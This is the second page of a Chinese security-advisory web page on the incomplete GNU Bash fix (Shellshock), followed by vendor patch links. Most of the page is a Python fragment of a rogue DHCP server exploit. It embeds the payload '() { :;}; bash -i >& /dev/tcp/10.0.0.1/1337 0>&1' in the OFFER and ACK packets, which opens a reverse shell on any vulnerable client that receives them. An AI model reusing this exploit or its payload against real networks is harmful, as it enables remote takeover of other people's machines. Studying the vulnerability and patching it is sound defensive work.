GNU Bash不完整修复远程代码执行漏洞(CVE(2)

OP = "72" # 56, Message - RFC 1533,2132. 61, Client-identifier - RFC 1533,2132,4361 or 114, URL - RFC 3679 are currently known to work, here we use 114
    URL = "() { :;}; bash -i >& /dev/tcp/10.0.0.1/1337 0>&1".encode("hex")
    URLLEN = chr(len(URL) / 2).encode("hex")
    END = "03040a000001ff"
    broadcast_get, (bcrhost, rport) = bsock.recvfrom(2048)
    hexip = broadcast_get[245:249]
    rhost = str(ord(hexip[0])) + "." + str(ord(hexip[1])) + "." + str(ord(hexip[2])) + "." + str(ord(hexip[3]))
    XID = broadcast_get[4:8].encode("hex")
    chaddr = broadcast_get[29:34].encode("hex")
    print "[+]\tgot broadcast with XID " + XID + " requesting IP " + rhost + "\n"
    OFFER = "02010600" + XID + "00000000000000000a0000430a0000010000000000" + chaddr + "000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000006382536335010236040a000001330400000e103a04000007083b0400000c4e0104ffffff001c040a0000ff06040a0000010f034c4f4c0c076578616d706c65" + OP + URLLEN + URL + END
    OFFER_BYTES = HexToByte(OFFER)
    ACK = "02010600" + XID + "00000000000000000a0000430a0000010000000000" + chaddr + "000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000006382536335010536040a000001330400000e103a04000007083b0400000c4e0104ffffff001c040a0000ff06040a0000010f034c4f4c0c076578616d706c65" + OP + URLLEN + URL + END
    ACK_BYTES = HexToByte(ACK)
    print "[+]\tsending evil offer\n"
    sock.sendto(OFFER_BYTES, (rhost, rport))
    broadcast_get2 = bsock.recvfrom(2048)
    print "[+]\tassuming request was received, sending ACK\n"
    sock.sendto(ACK_BYTES, (rhost, rport))

建议:
厂商补丁:

GNU
 ---
目前厂商已经发布了升级补丁以修复这个安全问题,请到厂商的主页下载:



https://www.suse.com/support/shellshock/

https://kb.bluecoat.com/index?page=content&id=SA82

内容版权声明:除非注明,否则皆为本站原创文章。

转载注明出处:http://www.heiqu.com/b1d0dd3d31fb6a88e7ea731ad851b2d8.html